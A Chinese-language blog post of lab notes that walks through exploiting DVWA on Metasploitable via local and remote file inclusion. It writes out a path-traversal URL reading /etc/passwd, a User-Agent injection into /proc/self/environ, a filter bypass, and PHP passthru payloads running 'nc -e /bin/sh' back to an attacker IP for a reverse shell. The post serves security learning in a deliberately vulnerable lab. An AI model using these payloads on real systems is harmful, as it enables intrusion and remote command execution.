Metasploitable 學習筆記-DVWA LFI( Local File inclusion )/RFI (Remote File Inclusion)& Reverse Shell

Kuro Huang
資安工作者的學習之路
8 min readMay 21, 2020

這是一篇系列文,有關看一些不同的Metasploitable介紹與教學的練習紀錄

What is Local File Inclusion?

攻擊者可以使用LFI繞過Web應用程式與Web Server上公開或執行的文件。 LFI攻擊可能導致資訊洩露,利用 ../等看過Server上的目錄,並有可能執行惡意指令。

Low 與 Medium 等級

這次解File Inclusion 的練習

上面提示了 ?page=index有LFI的漏洞存在,並看一下程式碼語法可以執行我們給的參數指令。

http://192.168.40.135/dvwa/vulnerabilities/fi/?page=include.php

貌似有個include.php的頁面存在,將URL改成:

http://192.168.40.135/dvwa/vulnerabilities/fi/include.php

我們發現了一串路徑,這時候將這串路徑丟回去網址列,嘗試讀取Server上的其他檔案,例如etc/passwd

http://192.168.40.135/dvwa/vulnerabilities/fi/?page=/../../../../../etc/passwd

Linux上 ..代表回到上一層目錄,所以我們看URL有幾層就回到根目錄後再去讀取etc下的passwd檔案

成功讀取了passwrd

這邊Medium等級的用同樣手法依然可以讀取到etc/passwd

Reverse Shell

如同前幾篇用過的nc,這邊會用到以下幾個指令:

<?phpinfo();?>
<?passthru(“nc -e /bin/sh [yourIP] [yourPort]”); ?>

我們使用前面的手法找到了/proc/self/environ 這個路徑並執行一次,接著使用Burp攔截,並於User-Agent改成php的指令<?phpinfo();?>測試看看

/proc/self/environ內有這個Server存我們瀏覽器的一些資訊

這代表我們可以在/proc/self/environ下進行攻擊,我們試著使用Reverse shell的指令看看,需要先開啟nc後重新執行一次網頁並攔截封包。

<?passthru(“nc -e /bin/sh [yourIP] [yourPort]”); ?>

看到nc有了反應,嘗試ls後顯示目錄檔案,成功!

預防

可能造成危險的目錄:

  • /var/log/auth.log
  • /var/log/apache2/access.log
  • /proc/self/environ

什麼是RFI

Remote File Inclusion 的縮寫是 「RFI」,這是指駭客透過外部檔案,來攻擊 Web 系統。駭客可以先找一個網站空間,建立一個 PHP 的檔案,然後藉由輸入特殊的路徑,讓你的系統去載入這個 PHP,再透過 PHP Script 取得管理員的帳號; 密碼,或是會員資料。

成因是PHP的設定開啟了allow_url_include,我們會在Metasploitable下開啟這項設定

Metasploitable

回到Metasploitable下的 /etc/php5/cgi/php.ini 搜尋allow_url並找到include=改成on,這邊使用nano編輯器。

設定好後我們重啟這個網站apache2服務

寫一個Reverse

回到Kali後我們會需要起一個web服務

先重啟Kali的apaches

寫一段php reverse用的程式碼存檔成txt後放到var/www/html,程式主要是執行nc回到我們的Kali,記住程式碼的IP是我們Kali的主機IP

<?php

passthru(“nc -e /bin/sh 192.168.40.128 8888”)
?>

測試一下可以執行這段程式碼

先執行nc後回到Web上將Kali上的檔案網址貼回DVWA網址列上,把Page後面替換自己的檔案網址即可成功!

Medium 等級RFI

從程式碼可以看到過濾http、https替換成空白,所以我們可以替換一下成hTTp:

預防

  • 關閉allow_url_include和fopen
  • 低跟中等級時候傳給Get參數的命令都會被執行顯示出來,而High的語法只允許我們執行include.php,否則就會提示ERROR。

如果有興趣可以參考其他篇的筆記:

https://medium.com/blacksecurity/tagged/ctf
若您喜歡我的文章,歡迎按下「拍手」與Liker按讚給我支持並轉發給你的朋友們(可以多拍幾下手喔),或是「Follow」我,讓我提供文章給您。

Facebook 粉絲專頁 剛開始建立經營 不會洗版(沒有時間) !!包含資安與投資的資訊,歡迎追蹤我並分享。

--

--

Kuro Huang
資安工作者的學習之路

對教育充滿期待的資安從業者,現任ISC2台北分會理監事會成員,喜歡用專業興趣交朋友建立友誼。曾擔任資安管理師與四大會計師事務所資安顧問,希望對資安社群盡一點心力,並期望自己與身旁的人能有所進步,歡迎喝咖啡聊資安。希望保持著定期參與資安社群活動。個人介紹網站https://portaly.cc/kurohuang